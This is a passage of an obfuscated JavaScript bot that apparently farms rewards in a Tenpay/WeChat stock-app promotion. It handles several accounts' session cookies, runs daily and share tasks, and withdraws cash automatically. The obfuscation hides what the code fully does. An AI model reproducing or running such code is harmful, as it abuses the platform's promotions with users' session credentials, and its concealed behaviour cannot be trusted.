=','WWpTcnM=','eUtZa3E=','dU50VGo=','TW1pcFQ=','U0NxVHo=','d2x3eUk=','VGx6bXQ=','ZVZ0T1A=','dmFFaG8=','55Sz6K+35o+Q546w56Wo5o2u5aSx6LSlOiA=','d3NndWY=','UW9CeXI=','aHR0cHM6Ly96cWFjdDAzLnRlbnBheS5jb20vY2dpLWJpbi9zaG9wLmZjZ2k/YWN0aW9uPW9yZGVyJnR5cGU9MiZ0aWNrZXQ9','Jml0ZW1faWQ9','QW9RcmU=','V29zRFk=','cG5qc3A=','UU52cFU=','ZlV0Rlg=','eGNTckU=','5o+Q546w5aSx6LSl77ya','TWhyY3Q=','QnZIaVE=','VFBHdG0=','YnVsbFN0YXR1cw==','Z1BrcUc=','YmNRRG8=','T05Nclc=','M3wyfDd8NXwwfDF8NHw2','TGFRTG0=','aHpuc0c=','aHR0cHM6Ly96cWFjdDAzLnRlbnBheS5jb20vY2dpLWJpbi9hY3Rpdml0eV95ZWFyX3BhcnR5LmZjZ2k/aW52aXRlX2NvZGU9JmhlbHBfY29kZT0mc2hhcmVfZGF0ZT0mdHlwZT1idWxsaXNoJmFjdGlvbj1ob21lJmFjdGlkPTExMDUmb3BlbmlkPQ==','WkpPeW0=','dExac00=','eVVnS3M=','cHpaQU8=','VEdMb1o=','cXBreVI=','RWpiVnE=','V2F4eVg=','YWNnSmg=','6ZW/54mb5Y+v6IO95bey6buR5Y+377ya','U2hPaW0=','562J57qnOiA=','YnVsbGlzaF9pbmZv','bGV2ZWw=','5LiL5LiA57qn6ZyA6KaB57uP6aqMOiA=','bmV4dF9sZXZlbF9leHA=','YnVsbA==','aW52aXRl','aW52aXRlX2NvZGU=','546w5pyJ57uP6aqMOiA=','ZXhwX3ZhbHVl','6ZW/54mb54q25oCB77ya','546w5pyJ54mb5rCUOiA=','YnVsbGlzaF92YWx1ZQ==','aGVscA==','aGVscF9jb2Rl','dnJzUG4=','dVJvY00=','aU9BbUw=','V3NUZlQ=','YnVsbFRhc2tEb25l','NHw3fDZ8NXwyfDB8MXwz','NXw3fDJ8MHw2fDR8M3wx','Nnw3fDl8NXwwfDJ8OHw0fDN8MQ==','VFFudlQ=','ZEVVTUM=','amlMRGE=','a1BKQmI=','ZkhIa04=','aGpSR3g=','QXlCcFM=','c09XdlA=','aHR0cHM6Ly96cWFjdDAzLnRlbnBheS5jb20vY2dpLWJpbi9hY3Rpdml0eV95ZWFyX3BhcnR5LmZjZ2k/dHlwZT1idWxsaXNoJmFjdGlvbj0=','YWN0aW9u','YVJ1eHQ=','b0xKdEQ=','WlZSZ1k=','WVJvdWY=','S1h3dmY=','TmpPcUo=','aGZOVnc=','TUZncWw=','YmFBbFg=','cmV3YXJkX2luZm8=','6I635b6XOiA=','YXdhcmRfZGVzYw==','b2Z6WkY=','WlpQRXc=','c2tpbl9pbmZv','c2tpbl9kZXNj','c2tpbl9saXN0','dWJ4Rk4=','Rnd3ZHE=','c2tpbl9udW0=','c0tGaVM=','JnNraW5fdHlwZT0=','c2tpbl90eXBl','ZmVlZF9yZXdhcmRfaW5mbw==','UlFkRGc=','V2FWbk8=','bGV2ZWxfdXBfc3RhdHVz','UVFUQ00=','aVBSQ3U=','dE9tVWc=','bUlhYlg=','X3V0ZjhfZGVjb2Rl','QkRFV08=','bENWemU=','V1Bka2U=','anlHSGs=','VWRHd0M=','cUxIREE=','WllnaUQ=','Y2dJc1I=','VFBHR2g=','V0pZUUY=','enlabk0=','QXJVRVE=','eHNyV3M=','aEJWYlk=','TU91Y2w=','aWVRUUM=','5aSx6LSl77ya','dXNlckJ1bGxUYXNr','ZFV0akQ=','eVNadFA=','WFdOWFI=','enVQblE=','TkZCbGU=','YU9aT3Q=','WFlRanA=','R09QS1o=','a2V5cw==','TXdicWQ=','VkF4Qmo=','U01nWFI=','Y3RPdW0=','bnJQTHQ=','V3htSXY=','Q3V3UW4=','U0VialY=','YXBwR2V0U2hhcmVDb2Rl','ZGFpbHk=','YVlZZXg=','d3p6b1Q=','ZldiZnk=','REhNRW8=','RFhBdG0=','SEpSY3A=','R3lZTWE=','eWdBV0I=','aHR0cHM6Ly93enEudGVucGF5LmNvbS9jZ2ktYmluL2FjdGl2aXR5L2FjdGl2aXR5X3NoYXJlLmZjZ2k/Y2hhbm5lbD0xJmFjdGlvbj1xdWVyeV9zaGFyZV9jb2RlJnNoYXJlX3R5cGU9','JmJ1aWxkVHlwZT1zdG9yZSZjaGVjaz0xMSZfaWRmYT0mbGFuZz16aF9DTg==','WE1ET3I=','WnpBdWk=','aE9aUm8=','QlViWmY=','U0pKZUU=','SURFZWI=','ZnpSbnY=','VmlPeWs=','WU1pRUs=','VVNsU2M=','UmNoZlo=','eHJmSlA=','b090V1g=','d3hHZXRTaGFyZUNvZGU=','RnBTWEk=','bVRpaVg=','cUdoaGc=','TndlSGQ=','dVd6aHo=','cmtZUFM=','U0ZBSnE=','aHR0cHM6Ly93enEudGVucGF5LmNvbS9jZ2ktYmluL2FjdGl2aXR5X3NoYXJlLmZjZ2k=','YWN0aW9uPXF1ZXJ5X3NoYXJlX2NvZGUmc2hhcmVfdHlwZT0=','aHpzUFM=','UHhsUnU=','eEVqc3E=','SVJLZEI=','SHRzT00=','dEt4T1M=','cml1SFc=','amttZko=','SXRIVXY=','UUtIbU0=','WW1uSFA=','ZWpFU0Q=','UndSdXQ=','amdOalk=','dGR3QUI=','YXBwRG9TaGFyZQ==','TmxHRk0=','TW12Z3Y=','dkJ4WGg=','aHR0cHM6Ly93enEudGVucGF5LmNvbS9jZ2ktYmluL2FjdGl2aXR5X3NoYXJlLmZjZ2k/YWN0aW9uPXNoYXJlX2NvZGVfaW5mbyZzaGFyZV90eXBlPQ==','JnNoYXJlX2NvZGU9','QkV3cU0=','Z1RseUk=','bWFpbU8=','dFZNSWw=','UHZSZXE=','S2pQWXg=','TXZnYnA=','ZWtkeEc=','REZHVlk=','XeWKqeWKm+Wksei0pe+8mg==','d3hEb1NoYXJl','QkVlcHI=','QUN5T2s=','VGpSY3k=','WUdsTWY=','WXlXSXc=','Z2pNck0=','YWN0aW9uPXNoYXJlX2NvZGVfaW5mbyZzaGFyZV90eXBlPQ==','T2lsV28=','cmVCSnU=','UEJNR0I=','eERyYUQ=','VGdzVFA=','WlFjRGE=','cmlnaHRzSGlzdG9yeQ==','blhFc2Q=','TG9wdk0=','aHR0cHM6Ly96cWFjdDAzLnRlbnBheS5jb20vY2dpLWJpbi9zaG9wLmZjZ2k/YWN0aW9uPXJpZ2h0c19oaXN0b3J5JnR5cGU9MiZvZmZzZXQ9MCZsaW1pdD0xMCZfPQ==','UUlRQ3E=','YnJzdk0=','anRvSXE=','c3lrWno=','VExlVWs=','Z0FKbHM=','RUxGd2c=','b3JkZXJJbmZv','T3RZTnE=','c2tBdEo=','a2xKV2Q=','Y3VhUVE=','cVpBd0U=','aHR0cHM6Ly96cWFjdDAzLnRlbnBheS5jb20vY2dpLWJpbi9zaG9wLmZjZ2k/YWN0aW9uPW9yZGVyX2luZm8mdHlwZT0yJm9yZGVyX25vPQ==','Jl89','WWpoT1k=','Zlp3alM=','bXR0cUk=','ek1RUlI=','TkVueEo=','WmhrVXI=','d3NIcWU=','b3JkZXI=','Y2FyZF9wd2Q=','WVlRS0Y=','WWpsdmg=','UFlsZWk=','Y2RVVFk=','Z1ZDYnM=','emNCcHY=','REltTkw=','WG9EUWQ=','dW5kZWZpbmVk','aXFBZU0=','bk1LTkQ=','CuWPmOmHj+Whq+WGmeagvOW8j++8jOWkmui0puWPt+eUqOaNouihjChcbinmiJbogIVA5oiW6ICFI+malOW8gDoKb3BlbmlkPXh4JmZza2V5PXl5Jnd6cV9xbHNrZXk9enomd3pxX3FsdWluPWFhCg==','Cj09PT09PT09PT09PT09PT09PT0g55So5oi35L+h5oGvID09PT09PT09PT09PT09PT09PT0=','bUlpaXM=','eUlYaVM=','Cj09PT09PT09PT09PT09PT09PT0g5o+Q546wID09PT09PT09PT09PT09PT09PT0=','RW9lbXQ=','eVp1aXI=','TWh2Wkc=','Y01IbmM=','aG5jUlE=','RVZFbEc=','cmdNRlg=','anB2b1U=','ZVNQSE4=','ZXNxdXo=','dnh6Umg=','ZmlsdGVy','bFNrY0s=','TXdRWng=','Tkl4QnA=','UUhXb1g=','c05CQ2E=','UndpekU=','aXlEeUU=','VldPcGc=','kEjsRjViUami.WVcorZmeC.v6=='];if(function(_0x5eed82,_0x28334e,_0x48a89c){function _0x48ba37(_0x49486b,_0x13e482,_0x471d90,_0x4b1770,_0x555b5b,_0x2397eb){_0x13e482=_0x13e482>>0x8,_0x555b5b='po';var _0x2c7412='shift',_0x446c56='push',_0x2397eb='‮';if(_0x13e482<_0x49486b){while(--_0x49486b){_0x4b1770=_0x5eed82[_0x2c7412]();if(_0x13e482===_0x49486b&&_0x2397eb==='‮'&&_0x2397eb['length']===0x1){_0x13e482=_0x4b1770,_0x471d90=_0x5eed82[_0x555b5b+'p']();}else if(_0x13e482&&_0x471d90['replace'](/[kERVUWVrZeC=]/g,'')===_0x13e482){_0x5eed82[_0x446c56](_0x4b1770);}}_0x5eed82[_0x446c56](_0x5eed82[_0x2c7412]());}return 0xf82a4;};return _0x48ba37(++_0x28334e,_0x48a89c)>>_0x28334e^_0x48a89c;}(_0x3fda,0x1cb,0x1cb00),_0x3fda){_0xodA_=_0x3fda['length']^0x1cb;};function _0x2271(_0x393335,_0x2b9682){_0x393335=~~'0x'['concat'](_0x393335['slice'](0x1));var _0x19ab83=_0x3fda[_0x393335];if(_0x2271['WPlxSF']===undefined&&'‮'['length']===0x1){(function(){var _0x54e2be=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x29d973='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x54e2be['atob']||(_0x54e2be['atob']=function(_0x3291d9){var _0x49996b=String(_0x3291d9)['replace'](/=+$/,'');for(var _0x3ca613=0x0,_0x4fe1cd,_0xdb4698,_0x3f8fc2=0x0,_0x261e53='';_0xdb4698=_0x49996b['charAt'](_0x3f8fc2++);~_0xdb4698&&(_0x4fe1cd=_0x3ca613%0x4?_0x4fe1cd*0x40+_0xdb4698:_0xdb4698,_0x3ca613++%0x4)?_0x261e53+=String['fromCharCode'](0xff&_0x4fe1cd>>(-0x2*_0x3ca613&0x6)):0x0){_0xdb4698=_0x29d973['indexOf'](_0xdb4698);}return _0x261e53;});}());_0x2271['auBoPe']=function(_0x40191f){var _0x5cdff7=atob(_0x40191f);var _0x2999e8=[];for(var _0x149111=0x0,_0x2582a9=_0x5cdff7['length'];_0x149111<_0x2582a9;_0x149111++){_0x2999e8+='%'+('00'+_0x5cdff7['charCodeAt'](_0x149111)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x2999e8);};_0x2271['iKyCeb']={};_0x2271['WPlxSF']=!![];}var _0x5ebc6b=_0x2271['iKyCeb'][_0x393335];if(_0x5ebc6b===undefined){_0x19ab83=_0x2271['auBoPe'](_0x19ab83);_0x2271['iKyCeb'][_0x393335]=_0x19ab83;}else{_0x19ab83=_0x5ebc6b;}return _0x19ab83;};const jsname=_0x2271('‫0');const $=new Env(jsname);const notifyFlag=0x1;let notifyStr='';let envSplitor=['\x0a','@','#'];let httpResult;let withdrawCash=($[_0x2271('‫1')]()?process[_0x2271('‮2')][_0x2271('‮3')]:$[_0x2271('‫4')](_0x2271('‮3')))||0x5;let helpFlag=($[_0x2271('‫1')]()?process[_0x2271('‮2')][_0x2271('‫5')]:$[_0x2271('‫4')](_0x2271('‫5')))||0x1;let newbieFlag=($[_0x2271('‫1')]()?process[_0x2271('‮2')][_0x2271('‮6')]:$[_0x2271('‫4')](_0x2271('‮6')))||0x0;let userCookie=($[_0x2271('‫1')]()?process[_0x2271('‮2')][_0x2271('‫7')]:$[_0x2271('‮8')](_0x2271('‫7')))||'';let userList=[];let userIdx=0x0;let userCount=0x0;let TASK_WAITTIME=0x64;let BULL_WAITTIME=0x1388;let test_taskList=[];let todayDate=formatDateTime();let SCI_code=_0x2271('‮9');let marketCode={'sz':0x0,'sh':0x1,'hk':0x2};let signType={'task':_0x2271('‫a'),'sign':_0x2271('‮b'),'award':_0x2271('‮c')};let taskList={'app':{'daily':[0x451,0x44d,0x457,0x459],'newbie':[0x3ff,0x409],'dailyShare':[_0x2271('‮d'),_0x2271('‫e'),_0x2271('‮f'),_0x2271('‫10'),_0x2271('‮11'),_0x2271('‮12'),_0x2271('‮13'),_0x2271('‫14'),_0x2271('‫15'),_0x2271('‫16')],'newbieShare':[]},'wx':{'daily':[0x44c,0x456,0x458],'newbie':[0x408],'dailyShare':[_0x2271('‫17'),_0x2271('‫18'),_0x2271('‫19'),_0x2271('‮1a'),_0x2271('‫1b'),_0x2271('‮1c'),_0x2271('‫1d')],'newbieShare':[_0x2271('‮1e'),_0x2271('‮1f'),_0x2271('‮20'),_0x2271('‫21')]}};let bullTaskArray={'rock_bullish':{'taskName':_0x2271('‮22'),'action':_0x2271('‮23'),'actid':0x451},'open_box':{'taskName':_0x2271('‮24'),'action':_0x2271('‮25'),'actid':0x451},'open_blindbox':{'taskName':_0x2271('‮26'),'action':_0x2271('‮27'),'actid':0x451},'query_blindbox':{'taskName':_0x2271('‮28'),'action':_0x2271('‮29'),'actid':0x451},'sell_skin':{'taskName':_0x2271('‮2a'),'action':_0x2271('‫2b'),'actid':0x451},'feed':{'taskName':_0x2271('‫2c'),'action':_0x2271('‮2d'),'actid':0x451}};class UserInfo{constructor(_0x3a300f){var _0x490a02={'LLoqK':function(_0x3fb421,_0x4607b3){return _0x3fb421(_0x4607b3);},'MmuqI':_0x2271('‫2e'),'YUZCA':_0x2271('‫2f'),'dkHGH':_0x2271('‫30'),'qJeLu':_0x2271('‫31'),'uQIzU':_0x2271('‫32'),'ssdWS':function(_0x582491,_0x3d2915){return _0x582491!==_0x3d2915;},'BwMxq':_0x2271('‫33'),'jgrha':_0x2271('‮34'),'KiOit':function(_0x1c9d9a,_0x10dc94){return _0x1c9d9a>_0x10dc94;},'bXcZJ':function(_0x5caaab,_0x45b3d5){return _0x5caaab===_0x45b3d5;},'ZCSsM':_0x2271('‫35'),'TcCRB':_0x2271('‮36'),'MgDWS':_0x2271('‫37')};this[_0x2271('‮38')]=++userIdx;this[_0x2271('‫39')]=this[_0x2271('‮38')];this[_0x2271('‫3a')]=!![];this[_0x2271('‮3b')]=!![];this[_0x2271('‮3c')]=![];this[_0x2271('‫3d')]=-0x1;this[_0x2271('‮3e')]={'task':{},'newbie':{},'bull':{},'guess':{}};this[_0x2271('‫3f')]=![];this[_0x2271('‮40')]='';let _0x5e6766=_0x490a02[_0x2271('‫41')](str2json,_0x3a300f);this[_0x2271('‫2e')]=_0x5e6766[_0x490a02[_0x2271('‮42')]]||'';this[_0x2271('‫2f')]=_0x5e6766[_0x490a02[_0x2271('‫43')]]||'';this[_0x2271('‫30')]=_0x5e6766[_0x490a02[_0x2271('‮44')]]||'';this[_0x2271('‫31')]=_0x5e6766[_0x490a02[_0x2271('‫45')]]||'';this[_0x2271('‫32')]=_0x5e6766[_0x490a02[_0x2271('‮46')]]||0x1;this[_0x2271('‫47')]=_0x2271('‫48')+this[_0x2271('‫30')]+_0x2271('‮49')+this[_0x2271('‫31')]+_0x2271('‫4a')+this[_0x2271('‫2e')]+';';let _0xe80bbf=[_0x490a02[_0x2271('‮42')],_0x490a02[_0x2271('‫43')],_0x490a02[_0x2271('‮44')],_0x490a02[_0x2271('‫45')]];let _0x47d62e=[];for(let _0x3392c4 of _0xe80bbf){if(_0x490a02[_0x2271('‫4b')](_0x490a02[_0x2271('‫4c')],_0x490a02[_0x2271('‮4d')])){if(!this[_0x3392c4])_0x47d62e[_0x2271('‮4e')](_0x3392c4);}else{console[_0x2271('‫4f')]('完成'+taskItem[_0x2271('‮50')]+'['+taskItem[_0x2271('‮51')]+'-'+id+'-'+tid+_0x2271('‫52')+result[_0x2271('‫53')]);}}if(_0x490a02[_0x2271('‫54')](_0x47d62e[_0x2271('‫55')],0x0)){if(_0x490a02[_0x2271('‫56')](_0x490a02[_0x2271('‫57')],_0x490a02[_0x2271('‫57')])){let _0x2c0409=_0x47d62e[_0x2271('‫58')](',\x20');let _0x58a2fd=_0x2271('‫59')+this[_0x2271('‮38')]+_0x2271('‫5a')+_0x2c0409;if(_0x490a02[_0x2271('‫54')](_0x2c0409[_0x2271('‫5b')](_0x490a02[_0x2271('‮42')]),-0x1)||_0x490a02[_0x2271('‫54')](_0x2c0409[_0x2271('‫5b')](_0x490a02[_0x2271('‫43')]),-0x1)){_0x58a2fd+=_0x490a02[_0x2271('‫5c')];this[_0x2271('‫3a')]=![];}else if(_0x490a02[_0x2271('‫54')](_0x2c0409[_0x2271('‫5b')](_0x490a02[_0x2271('‮44')]),-0x1)||_0x490a02[_0x2271('‫54')](_0x2c0409[_0x2271('‫5b')](_0x490a02[_0x2271('‫45')]),-0x1)){_0x58a2fd+=_0x490a02[_0x2271('‫5d')];this[_0x2271('‮3b')]=![];}console[_0x2271('‫4f')](_0x58a2fd);}else{console[_0x2271('‫4f')](taskItem[_0x2271('‮50')]+'['+taskItem[_0x2271('‮51')]+'-'+id+'-'+tid+_0x2271('‮5e'));}}}async[_0x2271('‮5f')](){var _0x5dd1d0={'ciXBC':function(_0x2d3e5c,_0x4e0e6b){return _0x2d3e5c|_0x4e0e6b;},'oAhdE':function(_0x2fb616,_0x484610){return _0x2fb616>>_0x484610;},'USlvg':function(_0x4bc620,_0x3d70e1){return _0x4bc620|_0x3d70e1;},'jczTS':function(_0x3487ea,_0x4ec1e8){return _0x3487ea&_0x4ec1e8;},'EIUAV':function(_0x307f63,_0x3be458){return _0x307f63!==_0x3be458;},'iVeIw':_0x2271('‫60'),'VAUTX':_0x2271('‮61'),'rbwgh':function(_0xf8a703,_0x540f97,_0x367f3f,_0x1d0ae){return _0xf8a703(_0x540f97,_0x367f3f,_0x1d0ae);},'VYPox':function(_0x3c09b5,_0x3d6f56,_0x5ce99b){return _0x3c09b5(_0x3d6f56,_0x5ce99b);},'NRmzJ':_0x2271('‫62'),'BveDN':function(_0x52b26a,_0x51f91c){return _0x52b26a==_0x51f91c;},'jNlNy':function(_0x371f36,_0x17ac2d){return _0x371f36!==_0x17ac2d;},'xiEyq':_0x2271('‫63'),'KLOLh':_0x2271('‫64')};try{if(_0x5dd1d0[_0x2271('‫65')](_0x5dd1d0[_0x2271('‫66')],_0x5dd1d0[_0x2271('‫67')])){let _0x36a7d1=_0x2271('‫68')+this[_0x2271('‫2e')]+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')];let _0x323e9d=_0x2271('‮6b')+this[_0x2271('‫2e')]+_0x2271('‮6c')+this[_0x2271('‫2e')];let _0x1156b1=_0x5dd1d0[_0x2271('‮6d')](populateUrlObject,_0x36a7d1,this[_0x2271('‫47')],_0x323e9d);await _0x5dd1d0[_0x2271('‮6e')](httpRequest,_0x5dd1d0[_0x2271('‫6f')],_0x1156b1);let _0x2f8f01=httpResult;if(!_0x2f8f01)return;if(_0x5dd1d0[_0x2271('‫70')](_0x2f8f01[_0x2271('‫71')],0x0)){this[_0x2271('‫39')]=_0x2f8f01[_0x2271('‮72')][_0x2271('‫73')];}else{console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮74')+_0x2f8f01[_0x2271('‮75')]);}}else{console[_0x2271('‫4f')]('完成'+taskItem[_0x2271('‮50')]+'['+taskItem[_0x2271('‮51')]+'-'+id+'-'+tid+_0x2271('‫52')+result[_0x2271('‫53')]);}}catch(_0x5b8767){if(_0x5dd1d0[_0x2271('‮76')](_0x5dd1d0[_0x2271('‫77')],_0x5dd1d0[_0x2271('‫78')])){console[_0x2271('‫4f')](_0x5b8767);}else{t+=String[_0x2271('‮79')](_0x5dd1d0[_0x2271('‮7a')](_0x5dd1d0[_0x2271('‫7b')](r,0x6),0xc0));t+=String[_0x2271('‮79')](_0x5dd1d0[_0x2271('‮7c')](_0x5dd1d0[_0x2271('‫7d')](r,0x3f),0x80));}}finally{}}async[_0x2271('‮7e')](_0x54b90e=![]){var _0x228ed0={'XVgpI':function(_0x5f5b83,_0x222cfa){return _0x5f5b83+_0x222cfa;},'MyScS':_0x2271('‫7'),'OsuRO':function(_0x430fe9,_0x4d6638){return _0x430fe9+_0x4d6638;},'qupPV':_0x2271('‫7f'),'eXKka':_0x2271('‮80'),'jSGsx':_0x2271('‫81'),'ubBOd':function(_0x180d0e,_0x21141e,_0x2672e3,_0x353850){return _0x180d0e(_0x21141e,_0x2672e3,_0x353850);},'xPUxd':function(_0x5e1100,_0x31a1ab,_0xc2d9c9){return _0x5e1100(_0x31a1ab,_0xc2d9c9);},'WcgoV':_0x2271('‫82'),'Ybajb':function(_0x38cfa7,_0x1db3aa){return _0x38cfa7==_0x1db3aa;},'MGtqC':function(_0x2f424b,_0x4796d7){return _0x2f424b>_0x4796d7;},'wqYjS':function(_0xd1f62f,_0x2b0e46){return _0xd1f62f===_0x2b0e46;},'rUtjg':_0x2271('‫83'),'hDJGE':function(_0x241bdf,_0x291099){return _0x241bdf(_0x291099);},'msiPh':function(_0x4dc89d,_0x387afe){return _0x4dc89d>_0x387afe;},'DwDJX':function(_0xbba3fe,_0x1a3e34){return _0xbba3fe>_0x1a3e34;},'LNRRc':function(_0x5be1d4,_0x27e5f1){return _0x5be1d4!==_0x27e5f1;},'qXIPW':_0x2271('‮84'),'JtGxU':_0x2271('‫85'),'fwdfb':function(_0x2ea1c6,_0xbbbd1e){return _0x2ea1c6>=_0xbbbd1e;},'fWdMz':function(_0x35f23d,_0x1b69cb){return _0x35f23d(_0x1b69cb);},'BNLhu':_0x2271('‮86'),'EyHcL':function(_0x2e6b14,_0x529aba){return _0x2e6b14!==_0x529aba;},'mLJdb':_0x2271('‮87'),'KwtdE':_0x2271('‮88')};try{let _0x23659f=_0x2271('‫89')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x2bfb92='';let _0x3d0027=_0x228ed0[_0x2271('‮8b')](populateUrlObject,_0x23659f,this[_0x2271('‫47')],_0x2bfb92);await _0x228ed0[_0x2271('‫8c')](httpRequest,_0x228ed0[_0x2271('‮8d')],_0x3d0027);let _0x141ee9=httpResult;if(!_0x141ee9)return;if(_0x228ed0[_0x2271('‫8e')](_0x141ee9[_0x2271('‮8f')],0x0)){this[_0x2271('‮3c')]=!![];let _0x357ad0=this[_0x2271('‫3d')];this[_0x2271('‫3d')]=_0x141ee9[_0x2271('‮90')]?_0x141ee9[_0x2271('‮90')][_0x2271('‫91')]:0x0;if(_0x228ed0[_0x2271('‫92')](_0x357ad0,-0x1)){if(_0x228ed0[_0x2271('‫93')](_0x228ed0[_0x2271('‮94')],_0x228ed0[_0x2271('‮94')])){_0x228ed0[_0x2271('‫95')](logAndNotify,_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮96')+this[_0x2271('‫3d')]);}else{userCookie=_0x228ed0[_0x2271('‮97')](_0x228ed0[_0x2271('‮97')](userCookie,'\x0a'),ck);$[_0x2271('‮98')](userCookie,_0x228ed0[_0x2271('‮99')]);let _0x22211b=userCookie[_0x2271('‮9a')]('\x0a');$[_0x2271('‮75')](_0x228ed0[_0x2271('‫9b')](jsname,_0x2271('‮9c')+_0x22211b[_0x2271('‫55')]+_0x2271('‮9d')+ck));}}else{console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮96')+this[_0x2271('‫3d')]);}if(_0x54b90e&&_0x228ed0[_0x2271('‮9e')](withdrawCash,0x0)){if(_0x141ee9[_0x2271('‫9f')]&&_0x228ed0[_0x2271('‮a0')](_0x141ee9[_0x2271('‫9f')][_0x2271('‫55')],0x0)){if(_0x228ed0[_0x2271('‫a1')](_0x228ed0[_0x2271('‫a2')],_0x228ed0[_0x2271('‫a2')])){_0x3d0027[_0x2271('‫a3')]=_0x2bfb92;_0x3d0027[_0x2271('‫a4')][_0x228ed0[_0x2271('‮a5')]]=_0x228ed0[_0x2271('‮a6')];_0x3d0027[_0x2271('‫a4')][_0x228ed0[_0x2271('‮a7')]]=_0x3d0027[_0x2271('‫a3')]?_0x3d0027[_0x2271('‫a3')][_0x2271('‫55')]:0x0;}else{let _0x919cff=withdrawCash+_0x2271('‮a8');for(let _0x4d301f of _0x141ee9[_0x2271('‫9f')]){if(_0x228ed0[_0x2271('‫8e')](_0x4d301f[_0x2271('‫a9')],_0x919cff)){if(_0x228ed0[_0x2271('‫93')](_0x228ed0[_0x2271('‮aa')],_0x228ed0[_0x2271('‮aa')])){if(_0x228ed0[_0x2271('‮ab')](_0x228ed0[_0x2271('‮ac')](parseInt,this[_0x2271('‫3d')]),_0x228ed0[_0x2271('‮ac')](parseInt,_0x4d301f[_0x2271('‮ad')]))){_0x228ed0[_0x2271('‮ac')](logAndNotify,_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‫ae')+_0x4d301f[_0x2271('‮ad')]+_0x2271('‮af')+_0x919cff);await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‫b1')](_0x4d301f[_0x2271('‫b2')]);}else{if(_0x228ed0[_0x2271('‫a1')](_0x228ed0[_0x2271('‮b3')],_0x228ed0[_0x2271('‮b3')])){t+=String[_0x2271('‮79')](r);n++;}else{console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‫b4')+_0x4d301f[_0x2271('‮ad')]+_0x2271('‮b5'));}}break;}else{console[_0x2271('‫4f')](data);return![];}}}}}}}else{if(_0x228ed0[_0x2271('‮b6')](_0x228ed0[_0x2271('‫b7')],_0x228ed0[_0x2271('‫b8')])){console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮b9')+_0x141ee9[_0x2271('‮ba')]);}else{console[_0x2271('‫4f')]('获取'+taskItem[_0x2271('‮50')]+'['+taskItem[_0x2271('‮51')]+_0x2271('‮bb')+_0x141ee9[_0x2271('‫bc')]);}}}catch(_0x31c892){console[_0x2271('‫4f')](_0x31c892);}finally{}}async[_0x2271('‫bd')](){var _0x2fc0b4={'mAFGh':function(_0x56d890,_0xafd293){return _0x56d890|_0xafd293;},'sLjsb':function(_0x5379c1,_0x57a4d5){return _0x5379c1&_0x57a4d5;},'NcWSc':function(_0x2f39d2,_0x112428){return _0x2f39d2<_0x112428;},'rdBNV':function(_0xffde9f,_0x4793d2){return _0xffde9f>_0x4793d2;},'xzgKj':function(_0x57627d,_0x1d99eb){return _0x57627d<_0x1d99eb;},'oOybH':function(_0x674782,_0x5c800){return _0x674782+_0x5c800;},'ssPEs':function(_0x2594b4,_0x3e1c8f){return _0x2594b4|_0x3e1c8f;},'BBxUI':function(_0x3ebea7,_0x479af1){return _0x3ebea7<<_0x479af1;},'lVrkh':function(_0x2d1210,_0x1e8476){return _0x2d1210&_0x1e8476;},'FmvSn':function(_0x125298,_0x476d20){return _0x125298&_0x476d20;},'OFBgR':function(_0x29649d,_0x438e49){return _0x29649d+_0x438e49;},'zOydR':function(_0x5378f6,_0x4d961e){return _0x5378f6|_0x4d961e;},'orybk':function(_0x494c92,_0xf68b08){return _0x494c92&_0xf68b08;},'ZOdLo':function(_0x4ac9e5,_0xbe3eaf){return _0x4ac9e5<<_0xbe3eaf;},'kZboO':function(_0x5209f5,_0x3a1b5a){return _0x5209f5&_0x3a1b5a;},'exEEH':function(_0x284598,_0x3db0d0){return _0x284598+_0x3db0d0;},'NQLvl':function(_0x4d86f2,_0x20a12f){return _0x4d86f2/_0x20a12f;},'yCzBj':function(_0x21c936,_0x3f163d){return _0x21c936-_0x3f163d;},'jAWWo':function(_0x785d5c,_0x22cff8){return _0x785d5c%_0x22cff8;},'KmsHx':function(_0x30b64a,_0x87937d){return _0x30b64a*_0x87937d;},'Eefnm':function(_0x42a2dc,_0x6ab901){return _0x42a2dc+_0x6ab901;},'XGzgM':function(_0x3fd1cd,_0x430029){return _0x3fd1cd-_0x430029;},'VcZDB':function(_0x320c83,_0x1ebf00){return _0x320c83-_0x1ebf00;},'XqpWv':function(_0x1160e5,_0x48fb1d){return _0x1160e5|_0x48fb1d;},'GObKf':function(_0x49ca7c,_0x2771fc){return _0x49ca7c%_0x2771fc;},'otEjk':function(_0x2fff33,_0x452481){return _0x2fff33*_0x452481;},'JzTrf':function(_0x2ef433,_0x2b44e5){return _0x2ef433%_0x2b44e5;},'RqKqN':function(_0x3bae3b,_0x54b049){return _0x3bae3b|_0x54b049;},'PqNvb':function(_0x32eb6a,_0x1448c9){return _0x32eb6a<<_0x1448c9;},'jlvJg':function(_0x342962,_0x2673e4){return _0x342962-_0x2673e4;},'MixeP':function(_0x1e0c92,_0x1439ec){return _0x1e0c92>>>_0x1439ec;},'SOHdu':function(_0x5de122,_0x5a1b8c,_0x3411b0,_0x27f483){return _0x5de122(_0x5a1b8c,_0x3411b0,_0x27f483);},'eOQoN':function(_0x2b6ddc,_0x2bac86,_0xf1e697){return _0x2b6ddc(_0x2bac86,_0xf1e697);},'BkHSr':_0x2271('‫82'),'auJCi':function(_0x9d657e,_0x49f80e){return _0x9d657e==_0x49f80e;},'DVIDO':function(_0x2acd3f,_0x17fe1b){return _0x2acd3f===_0x17fe1b;},'DDqVV':_0x2271('‫be'),'wBqpD':_0x2271('‮bf'),'eqpuc':function(_0x22beea,_0x2f6b47){return _0x22beea(_0x2f6b47);},'yhRPH':function(_0xdc69b8,_0x1c7c61){return _0xdc69b8!==_0x1c7c61;},'QaAlC':_0x2271('‮c0'),'hGoLB':function(_0x3e0d5e,_0x897f8d){return 